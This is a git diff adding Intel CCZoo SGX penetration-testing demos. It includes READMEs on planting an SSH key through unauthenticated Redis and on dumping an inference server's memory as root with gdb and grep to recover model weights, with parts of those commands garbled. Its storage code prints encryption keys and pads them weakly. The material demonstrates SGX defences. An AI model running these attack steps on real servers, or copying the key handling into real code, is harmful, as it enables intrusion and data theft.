msg3_size); + + qe3_ret = sgx_qe_get_quote(&report, quote_size, p_msg3->quote); + if (SGX_QL_SUCCESS != qe3_ret) { + printf( "Error in sgx_qe_get_quote. 0x%04x\n", qe3_ret); + ret = SGX_ERROR_UNEXPECTED; + goto CLEANUP; + } + + //sgx_report_t* qe_report is NULL for ECDSA + ret = p_get_msg3(eid, &status, context, quote_size, NULL, p_msg3, msg3_size); + if(SGX_SUCCESS!=ret) + { + goto CLEANUP; + } + if(SGX_SUCCESS!=status) + { + ret = status; + goto CLEANUP; + } + + *pp_msg3 = p_msg3; + *p_msg3_size = msg3_size; + } + + CLEANUP: + if(ret) + SAFE_FREE(p_msg3); + return ret; +} + diff --git a/cczoo/machine_binding_key_backup/utils/ukey_exchange/ukey_exchange_version.cpp b/cczoo/machine_binding_key_backup/utils/ukey_exchange/ukey_exchange_version.cpp new file mode 100644 index 00000000..dd112f71 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/ukey_exchange/ukey_exchange_version.cpp @@ -0,0 +1,34 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "se_version.h" + +#define __CONCAT(x, y) x/**/y + +#define SGX_UKEY_EXCHANGE_VERSION_STR __CONCAT("SGX_UKEY_EXCHANGE_VERSION_", STRFILEVER) + +#ifdef __cplusplus +extern "C" { +#endif + +__attribute__((visibility("default"))) +char sgx_ukey_exchange_version[] = SGX_UKEY_EXCHANGE_VERSION_STR; + +#ifdef __cplusplus +} +#endif diff --git a/cczoo/penetration_testing/.gitignore b/cczoo/penetration_testing/.gitignore new file mode 100644 index 00000000..5080458b --- /dev/null +++ b/cczoo/penetration_testing/.gitignore @@ -0,0 +1,10 @@ +*.sig +*.sgx +*.token +*.manifest +*.so +*.o +*.rdb +*.log +*.tmp +core.* diff --git a/cczoo/penetration_testing/README.md b/cczoo/penetration_testing/README.md new file mode 100644 index 00000000..eee11a69 --- /dev/null +++ b/cczoo/penetration_testing/README.md @@ -0,0 +1,49 @@ +# Penetration Testing Overview + +## Introduction + +This penetration testing aims to show how SGX protects the runtime confidentiality of applications while sufferring privileged malware memory attacks. + +CCZoo penetration test provides two types test cases: unauthorized access and data theft(memory attack). + +Unauthorized access is to gain server privileges through unauthorized access, such as implanting privileged backdoors and obtaining privileged shells. + +Data theft is to verify the memory confidentiality of SGX runtime, memory attacks will be performed on high-value data applications through privileged applications or shells to steal their runtime memory data. + +## Test Cases Overview + +1. Unauthorized Access: + + - Redis + + When a hacker accesses Redis without password protection running as root, hacker's ssh public key can be written into the target server `/root/.ssh/authotrized_keys` file, and then the target server can be directly logged in through hacker's Private key. + + ![](unauthorized_access/redis/redis.svg) + + Please refer to [unauthorized_access/redis/README.md](unauthorized_access/redis/README.md) for detail. + +2. Memory Attack: + + - Key Generator + + This application is generating keys in memory and implemented based on the Intel SGX SDK. + + It will use the same source code to compile SGX applications and non-SGX applications, and perform memory attacks on them to verify the confidentiality of SGX runtime memory. + + ![](memory_attack/sgx/key_generator/key_generator.svg) + + Please refer to [memory_attack/sgx/key_generator/README.md](memory_attack/sgx/key_generator/README.md) for detail. + + - Confidential Inference + + In the traditional AI inference workflow, it usually faces security risks of models and user data. + + Developers usually adopt model encryption and TLS network transmission methods to solve data security risks in AI inference workflow. + + Although the above two security methods can solve the data security issues in the storage and transmission process, there are still data security risks in this workflow, and hackers can get model and user data through memory attacks. + + In the following demo, we will conduct attack simulation and security verification to demonstrate the effectiveness and limitations of the above security methods, and use intel SGX technology to prevent data theft through memory attacks, so as to achieve all-round (model storage, data network transport, inference service runtime) to protect the purpose of AI inference workflow. + + ![](memory_attack/sgx/confidential_inference/confidential_inference.svg) + + Please refer to [memory_attack/sgx/confidential_inference/README.md](memory_attack/sgx/confidential_inference/README.md) for detail. diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/README.md b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/README.md new file mode 100644 index 00000000..2e20872c --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/README.md @@ -0,0 +1,289 @@ +# Confidential Inference + +## Introduction + +In the traditional AI inference workflow, it usually faces security risks of models and user data. + +Developers usually adopt model encryption and TLS network transmission methods to solve data security risks in AI inference workflow. + +Although the above two security methods can solve the data security issues in the storage and transmission process, there are still data security risks in this workflow, and hackers can get model and user data through memory attacks. + +In the following demo, we will conduct attack simulation and security verification to demonstrate the effectiveness and limitations of the above security methods, and use intel SGX technology to prevent data theft through memory attacks, so as to achieve all-round (model storage, data network transport, inference service runtime) to protect the purpose of AI inference workflow. + +The participants of the AI inference workflow are divided into the following four roles: `Model Distributor`, `inf Server`, `inf Client` and `Hacker`. + +![](confidential_inference.svg) + +--- + +## Setup Environment + +1. Build docker image + + ``` + image=confidential-inference:graminev1.2-ubuntu20.04-latest + build_docker_image.sh ${image} + ``` + +2. Start container + + ``` + ./start_container.sh ${image} + ``` + + It will create the following containers for the above 4 roles respectively: + - `model-distributor` container for `Model Distributor` + - `inf-client` container for `inf Client` + - `inf-server` container for `inf Server` + - `inf-server` container for `Hacker` + +--- + +## Encrypt and Transfer Model + +1. `Model Distributor` encrypt model in `model-distributor` container. + + Encryption algorithm: + + AES in CBC mode with a 128-bit key for encryption; using PKCS7 padding. HMAC using SHA256 for authentication. + + Encrypt model with password: + + ``` + python3 /models.py + ``` + + Get outputs: + + ``` + Save data to /resnet50.encrypt.pkl + + Weights data: [ mem_dump_nosgx.log + + grep -n "AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPE" mem_dump_nosgx.log | cut -c 1-70 + + cat mem_dump_nosgx.log | tail -n +`grep -n 'shape=(7, 7, 3, 64) dtype=float32' mem_dump_nosgx.log | awk -F: '{print $1}'` | head -n 17 + ``` + + The hacker gets the plain image and model: + + ``` + 2033125:AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPEIAAGRCAAAIQgAALEIAAFBCAACgQQAA0EEAABhCAADAQQAA2EEAADhCAADAQQAA2EEAAChCAAC4QQAA6EEAAC + + [ mem_dump_sgx.log + + grep -n "AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPE" mem_dump_sgx.log | cut -c 1-70 + + cat mem_dump_sgx.log | tail -n +`grep -n 'shape=(7, 7, 3, 64) dtype=float32' mem_dump_sgx.log | awk -F: '{print $1}'` | head -n 17 + ``` + + The hacker can not get the plain image and model. `Intel SGX` can effectively protect the memory safety of inference service runtime. + +This confidential inference service protects the security of models and user data in an all-round way through model encrypted storage, data TLS network transmission and SGX protection of runtime memory. + diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/build_docker_image.sh b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/build_docker_image.sh new file mode 100755 index 00000000..f64a2f9f --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/build_docker_image.sh @@ -0,0 +1,39 @@ +# +# Copyright (c) 2022 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +#!/bin/bash +set -e + +if [ ! -n "$1" ] ; then + image=confidential-inference:graminev1.2-ubuntu20.04-latest +else + image=$1 +fi + +# You can remove no_proxy and proxy_server if your network doesn't need it +no_proxy="localhost,127.0.0.1" +# proxy_server="" # your http proxy server + +cd `dirname $0` + +DOCKER_BUILDKIT=0 docker build \ + --build-arg no_proxy=${no_proxy} \ + --build-arg http_proxy=${proxy_server} \ + --build-arg https_proxy=${proxy_server} \ + -f confidential-inference.dockerfile \ + -t ${image} \ + . + +cd - diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/confidential-inference.dockerfile b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/confidential-inference.dockerfile new file mode 100644 index 00000000..53f84b68 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/confidential-inference.dockerfile @@ -0,0 +1,37 @@ +# +# Copyright (c) 2022 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND=noninteractive +ENV WERROR=1 +ENV SGX=1 + +RUN apt-get update \ + && apt-get install -y libgl1-mesa-glx python3-pip python3-click python3-jinja2 python3-protobuf python3-dbg gdb tcpdump wget vim + +RUN pip install --upgrade pip \ + && pip install toml meson cryptography pillow tensorflow opencv-python flask markupSafe==2.0.0 + +ARG ENV GRAMINE_VERSION=1.2 +RUN wget https://github.com/gramineproject/gramine/releases/download/v${GRAMINE_VERSION}/gramine-dcap_${GRAMINE_VERSION}-1_amd64.deb \ + && apt-get install -y ./gramine-dcap_${GRAMINE_VERSION}-1_amd64.deb \ + && rm *.deb + +RUN wget https://storage.googleapis.com/tensorflow/keras-applications/resnet/resnet50_weights_tf_dim_ordering_tf_kernels.h5 + +RUN gramine-sgx-gen-private-key + +COPY demo / diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/confidential_inference.svg b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/confidential_inference.svg new file mode 100644 index 00000000..eec30f48 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/confidential_inference.svg @@ -0,0 +1 @@ +Model Distributor????????????????????????????????????????????Inference ServerInference ClientPlain model(resnet50.pkl)Model encryption(models.py)Encrypted model(resnet50.encrypt.pkl)Model uploader(cp)Plain image(goldfish.jfif)Inference client(client.pyw/ HTTPS)Encrypted image through HTTPS trafficInference service(server.py)Image decryption(HTTPS)Plain modelin memoryEncrypted model StorageModel decryptionPlain image in memoryInferenceHacker’s machineSSH client(escalated to ROOT privilege)Network sniffas ROOT(tcpdump)Open a fileas ROOTMemory dumpas ROOT(gdb:core.* ->mem_dump_nosgx.log)1.5318 e-02-2.0375 e-033.7583 e-041.0371 e-011.5318 e-02-2.0375 e-033.7583 e-041.0371 e-01???????????????????????????????????????????? \ No newline at end of file diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/Makefile b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/Makefile new file mode 100644 index 00000000..840974b2 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/Makefile @@ -0,0 +1,62 @@ +# +# Copyright (c) 2022 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +################################# CONSTANTS ################################### + +ARCH_LIBDIR ?= /lib/$(shell $(CC) -dumpmachine) +# ENTRYPOINT ?= $(realpath $(shell sh -c "command -v python3")) + +ifeq ($(DEBUG),1) +GRAMINE_LOG_LEVEL = debug +else +GRAMINE_LOG_LEVEL = error +endif + +.PHONY: all +all: python.manifest +ifeq ($(SGX),1) +all: python.manifest.sgx python.sig python.token +endif + +################################ gRPC MANIFEST ############################### + +python.manifest: python.manifest.template + gramine-manifest \ + -Dlog_level=$(GRAMINE_LOG_LEVEL) \ + -Dentrypoint=$(realpath $(shell sh -c "command -v python3")) \ + -Darch_libdir=$(ARCH_LIBDIR) \ + $< >$@ + +python.manifest.sgx python.sig: sgx_sign + @: + +.INTERMEDIATE: sgx_sign +sgx_sign: python.manifest + gramine-sgx-sign \ + --manifest $< \ + --output $<.sgx + +python.token: python.sig + gramine-sgx-get-token --output $@ --sig $< + +################################## CLEANUP #################################### + +.PHONY: clean +clean: + $(RM) *.token *.sig *.manifest.sgx *.manifest + $(RM) -r scripts/__pycache__ + +.PHONY: distclean +distclean: clean diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/client.py b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/client.py new file mode 100644 index 00000000..7e7cea17 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/client.py @@ -0,0 +1,66 @@ +import argparse +import urllib.request, ssl + +from utils import * + + +def main(args): + if args.cert != 'none': + print('Start with SSL/TLS.') + context = ssl.SSLContext(ssl.PROTOCOL_TLS) + context.check_hostname = True + context.verify_mode = ssl.CERT_REQUIRED + context.load_verify_locations(args.cert) + else: + print('Start without SSL/TLS.') + context = None + + try: + request = urllib.request.Request(args.host, method='GET') + response = urllib.request.urlopen(request, context=context) + print('Status: %d, Response: %s' % (response.code, response.read().decode("utf-8"))) + except Exception as ex: + print("Found Error in auth phase: %s" % str(ex)) + + try: + img_str = encode_image(args.image) + data = urllib.parse.urlencode({ 'image': img_str }).encode('utf-8') + request = urllib.request.Request(args.host+'/infer', data=data, method='POST') + response = urllib.request.urlopen(request, context=context) + print('Status: %d, Response: %s' % (response.code, response.read().decode("utf-8"))) + print('image strings:', img_str[:150]) + except Exception as ex: + print("Found Error in auth phase:%s" % str(ex)) + +def command_arguments(): + parser = argparse.ArgumentParser(description='AI Inference client.') + parser.add_argument( + '-host', + '--host', + type=str, + required=False, + default='https://infer.service.com:8091', + help='The server address' + ) + parser.add_argument( + '-cert', + '--cert', + type=str, + required=False, + default='/cert.pem', + help='The server Certificate' + ) + parser.add_argument( + '-image', + '--image', + type=str, + required=False, + default='/dataset/goldfish.jfif', + help='The image path' + ) + return parser.parse_args() + + +if __name__ == '__main__': + args = command_arguments() + main(args) diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/dataset/goldfish.jfif b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/dataset/goldfish.jfif new file mode 100644 index 00000000..4b51c4d9 Binary files /dev/null and b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/dataset/goldfish.jfif differ diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/models.py b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/models.py new file mode 100644 index 00000000..cbeabf0a --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/models.py @@ -0,0 +1,38 @@ +from tensorflow.keras.applications.resnet50 import ResNet50 +from storage import confidential_storage +import pickle + + +# https://keras.io/api/applications/#usage-examples-for-image-classification-models +# https://www.tensorflow.org/guide/keras/save_and_serialize +# https://www.tensorflow.org/api_docs/python/tf/keras/models/load_model +# https://github.com/keras-team/keras/blob/master/keras/saving/legacy/saved_model/load.py#L72 +def load_resnet50_model(path='/resnet50_weights_tf_dim_ordering_tf_kernels.h5'): + if path == None: + model = ResNet50(weights='imagenet') + else: + model = ResNet50(weights=None) + model.load_weights(path) + model.summary() + return model + +def save_keras_model(model, path, encrypt=True): + cs = confidential_storage() + if encrypt: + cs.input_key('Please input key to encrypt model: ') + cs.save(model, path, encrypt, True) + +def load_keras_model(path, encrypt=True): + cs = confidential_storage() + if encrypt: + cs.input_key('Please input key to decrypt model: ') + model = cs.load(path, encrypt, True) + model.summary() + return model + + +if __name__ == '__main__': + model = load_resnet50_model() + save_keras_model(model, '/resnet50.pkl', False) + save_keras_model(model, '/resnet50.encrypt.pkl', True) + print('\n\nWeights data:', str(model.weights)[:1000]) diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/python.manifest.template b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/python.manifest.template new file mode 100644 index 00000000..e3f24efe --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/python.manifest.template @@ -0,0 +1,69 @@ +# +# Copyright (c) 2022 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +libos.entrypoint = "{{ entrypoint }}" +libos.check_invalid_pointers = true + +loader.entrypoint = "file:{{ gramine.libos }}" +loader.log_level = "{{ log_level }}" +loader.insecure__use_cmdline_argv = true +loader.insecure__use_host_env = true +loader.env.LD_LIBRARY_PATH = "{{ python.stdlib }}/lib:/lib:{{ arch_libdir }}:/usr/local/lib:/usr/local/{{ arch_libdir }}:/usr/lib:/usr/{{ arch_libdir }}" +loader.pal_internal_mem_size = "128M" + +sys.enable_sigterm_injection = true +sys.stack.size = "16M" + +fs.mounts = [ + { path = "/lib", uri = "file:{{ gramine.runtimedir() }}" }, + { path = "{{ arch_libdir }}", uri = "file:{{ arch_libdir }}" }, + { path = "/etc", uri = "file:/etc" }, + { path = "/usr", uri = "file:/usr" }, + { type = "tmpfs", path = "/var/tmp" }, + { path = "{{ python.stdlib }}", uri = "file:{{ python.stdlib }}" }, + { path = "{{ python.distlib }}", uri = "file:{{ python.distlib }}" }, + { path = "/usr/local/lib/python3.8/dist-packages/", uri = "file:/usr/local/lib/python3.8/dist-packages/" } # for ubuntu:20.04 + { path = "/root/.keras/", uri = "file:/root/.keras/" } +] + +sgx.debug = false +sgx.enable_stats = false +sgx.remote_attestation = false +sgx.nonpie_binary = true +sgx.enclave_size = "16G" +sgx.thread_num = 512 + +sgx.trusted_files = [ + "file:{{ entrypoint }}", + "file:{{ gramine.libos }}", + "file:{{ gramine.runtimedir() }}/", + "file:{{ arch_libdir }}/", + "file:/usr/{{ arch_libdir }}/", + "file:{{ python.stdlib }}/", + "file:{{ python.distlib }}/", + "file:/usr/local/lib/python3.8/dist-packages/", # for ubuntu:20.04 + "file:/etc/mime.types", + "file:key.pem", + "file:cert.pem", + "file:utils.py", + "file:models.py", + "file:storage.py", + "file:server.py", +] + +sgx.allowed_files = [ + "file:/root/.keras/", + "file:resnet50.encrypt.pkl", +] diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/server.py b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/server.py new file mode 100644 index 00000000..d275c7f0 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/server.py @@ -0,0 +1,123 @@ +import os, pickle, argparse +import numpy as np +from flask import Flask, request, jsonify +from tensorflow.keras.preprocessing import image +from tensorflow.keras.applications.resnet50 import preprocess_input, decode_predictions + +from storage import confidential_storage +from models import load_keras_model +from utils import * + + +class infer_engine(object): + def __init__(self): + self.model = None + self.model_weights_str = None + + def load_model(self): + if not self.model: + try: + path = '/resnet50.encrypt.pkl' + self.model = load_keras_model(path, False) + print('load model:', path) + except: + print('Can not load this model, please input key to decrypt it!\n') + + if not self.model: + try: + path = '/resnet50.encrypt.pkl' + self.model = load_keras_model(path, True) + print('load model:', path) + except: + print('This is a wrong model, please re-pickle it!\n') + exit() + + self.model_weights_str = str(self.model.weights) + + def predict(self, x, n=3): + x = np.expand_dims(x, axis=0) + y = self.model.predict(x) + y = decode_predictions(y, top=n)[0] + top_n =[] + for top_x in y: + top_list = [] + for arg in top_x: + top_list.append(str(arg)) + top_n.append(top_list) + return top_n + + def local_predict(self, path='/dataset/goldfish.jfif'): + y = self.predict(load_image(path)) + print('Predicted:', y) + return y + +def register_service(app, engine): + @app.route("/", methods=['POST', 'GET']) + def app_index(): + return 'AI Inferernce Service' + + @app.route('/infer', methods=['POST']) + def app_predict(): + img_str = request.form.get('image') + x = decode_image(img_str) + y = engine.predict(x) + response = {'class': y} + # print(response) + return response + +def main(args): + print("PID: %s\n" % (os.getpid())) + + engine = infer_engine() + engine.load_model() + + app = Flask(__name__) + register_service(app, engine) + + if args.cert != 'none' and args.key != 'none': + print('Start with SSL/TLS.') + app.run(host=args.host, port=args.port, ssl_context=(args.cert, args.key)) + else: + print('Start without SSL/TLS.') + app.run(host=args.host, port=args.port) + +def command_arguments(): + parser = argparse.ArgumentParser(description='AI Inference Server.') + parser.add_argument( + '-host', + '--host', + type=str, + required=False, + default='0.0.0.0', + help='The server listen address' + ) + parser.add_argument( + '-port', + '--port', + type=int, + required=False, + default=8091, + help='The server listen port' + ) + parser.add_argument( + '-cert', + '--cert', + type=str, + required=False, + default='/cert.pem', + help='The server Certificate' + ) + parser.add_argument( + '-key', + '--key', + type=str, + required=False, + default='/key.pem', + help='The server key' + ) + return parser.parse_args() + + +if __name__ == '__main__': + args = command_arguments() + main(args) diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/storage.py b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/storage.py new file mode 100644 index 00000000..87187f0f --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/storage.py @@ -0,0 +1,131 @@ +import os, base64, pickle, argparse +from cryptography.fernet import Fernet + +class confidential_storage(object): + ''' + https://cryptography.io/en/latest/fernet/#csementation + AES in CBC mode with a 128-bit key for encryption; using PKCS7 padding. + HMAC using SHA256 for authentication. + ''' + def __init__(self): + self.fernet = None + pass + + def input_key(self, msg): + self.get_key(input(msg)) + + def get_key(self, key): + print("Get key: %s" % (key)) + key = key.rjust(32, ' ') + key = base64.urlsafe_b64encode(bytes(key, encoding='utf8')) + print("Parse key: %s" % (key)) + self.fernet = Fernet(key) + + def load(self, path, decrypt=True, pickling=False): + with open(path, 'rb') as fp: + data = fp.read() + print("Load data from %s" % (path)) + if decrypt: + data = self.decrypt(data) + # print(data) + instance = None + if pickling: + instance = pickle.loads(data) + return instance if instance else data + + def save(self, data, path, encrypt=True, pickling=False): + if data: + if pickling: + data = pickle.dumps(data) + if encrypt: + data = self.encrypt(data) + with open(path, 'wb') as fp: + fp.write(data) + print("Save data to %s" % (path)) + + def encrypt(self, data): + if data: + if self.fernet: + print("Encrypt data.") + return self.fernet.encrypt(data) + else: + print("Wrong fernet.") + + def decrypt(self, data): + if data: + if self.fernet: + print("Decrypt data.") + return self.fernet.decrypt(data) + else: + print("Wrong fernet.") + +def command_arguments(): + parser = argparse.ArgumentParser(description='confidential storage.') + parser.add_argument( + '-src', + '--src', + type=str, + required=False, + default='MovieLens.tags.csv', + help='The input data path.' + ) + parser.add_argument( + '-dst', + '--dst', + type=str, + required=False, + default='MovieLens.tags.csv.tmp', + help='The output data path.' + ) + parser.add_argument( + '-mode', + '--mode', + type=str, + required=True, + default='e2o', + help='Data process mode: e2o(encrypted data to unencrypted original data), e2e, o2e, o2o' + ) + parser.add_argument( + '-pickling', + '--pickling', + type=int, + required=True, + default=False, + help='File pickling: None, pickle' + ) + return parser.parse_args() + +def main(): + args = command_arguments() + cs = confidential_storage() + + print("PID:", os.getpid()) + if args.mode == 'o': + data = cs.load(args.src, False) + input('Press any key to exit.') + elif args.mode == 'o2o': + data = cs.load(args.src, False) + input('Press any key to exit.') + if args.src != args.dst: + cs.save(data, args.dst, False, args.pickling) + else: + cs.input_key('Please input symmetric encryption key: ') + if args.mode == 'e': + data = cs.load(args.src, True) + input('Press any key to exit.') + elif args.mode == 'e2e': + data = cs.load(args.src, True) + input('Press any key to exit.') + if args.src != args.dst: + cs.save(data, args.dst, True, args.pickling) + elif args.mode == 'e2o': + data = cs.load(args.src, True) + input('Press any key to exit.') + cs.save(data, args.dst, False, args.pickling) + elif args.mode == 'o2e': + data = cs.load(args.src, False) + input('Press any key to exit.') + cs.save(data, args.dst, True, args.pickling) + +if __name__ == '__main__': + main() diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/utils.py b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/utils.py new file mode 100644 index 00000000..8ee69330 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/demo/utils.py @@ -0,0 +1,24 @@ +from tensorflow.keras.preprocessing import image + +import random, string, base64, io, cv2 +from PIL import Image +import numpy as np + + +def gen_id(length=32): + return ''.join(random.sample(string.ascii_letters + string.digits, length)) + +def load_image(path='/dataset/goldfish.jfif'): + img = image.load_img(path, target_size=(224, 224)) + return image.img_to_array(img) + +def encode_image(path): + img = load_image(path) + img_str = base64.b64encode(img).decode('utf-8') + return img_str + +def decode_image(img_str): + img_str = base64.b64decode(img_str) + nparr = np.frombuffer(img_str, np.float32) + nparr = nparr.reshape(224,224,3) + return nparr diff --git a/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/start_container.sh b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/start_container.sh new file mode 100755 index 00000000..749e03ef --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/confidential_inference/start_container.sh @@ -0,0 +1,51 @@ +# +# Copyright (c) 2022 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +#!/bin/bash +set -e + +if [ -n "$1" ] ; then + image=$1 +else + image=confidential-inference:graminev1.2-ubuntu20.04-latest +fi + +# You can remove no_proxy and proxy_server if your network doesn't need it +no_proxy="localhost,127.0.0.1" +# proxy_server="" # your http proxy server + +function create_container() { + container_name=$1 + server_address=$2 + docker rm -f ${container_name} || true + docker run -itd \ + --name=${container_name} \ + --net=host \ + --cap-add=SYS_PTRACE \ + --device=/dev/sgx_enclave:/dev/sgx/enclave \ + --device=/dev/sgx_provision:/dev/sgx/provision \ + --add-host=infer.service.com:${server_address} \ + -e http_proxy=${proxy_server} \ + -e https_proxy=${proxy_server} \ + -e no_proxy=${no_proxy} \ + -v /home:/home/host-home \ + ${image} +} + +create_container inf-server 127.0.0.1 +create_container inf-client 127.0.0.1 +create_container model-distributor 127.0.0.1 + +docker ps | grep -E 'model-distributor|inf-server|inf-client' diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/.cproject b/cczoo/penetration_testing/memory_attack/sgx/key_generator/.cproject new file mode 100644 index 00000000..6fff949b --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/.cproject @@ -0,0 +1,216 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/.project b/cczoo/penetration_testing/memory_attack/sgx/key_generator/.project new file mode 100644 index 00000000..8feb4901 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/.project @@ -0,0 +1,28 @@ + + + Cxx11SGXDemo + + + + + + org.eclipse.cdt.managedbuilder.core.genmakebuilder + clean,full,incremental, + + + + + org.eclipse.cdt.managedbuilder.core.ScannerConfigBuilder + full,incremental, + + + + + + org.eclipse.cdt.core.cnature + org.eclipse.cdt.managedbuilder.core.managedBuildNature + org.eclipse.cdt.managedbuilder.core.ScannerConfigNature + org.eclipse.cdt.core.ccnature + com.intel.sgx.sgxnature + + diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/App.cpp b/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/App.cpp new file mode 100644 index 00000000..cb1d014a --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/App.cpp @@ -0,0 +1,212 @@ +/* + * Copyright (C) 2011-2020 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR 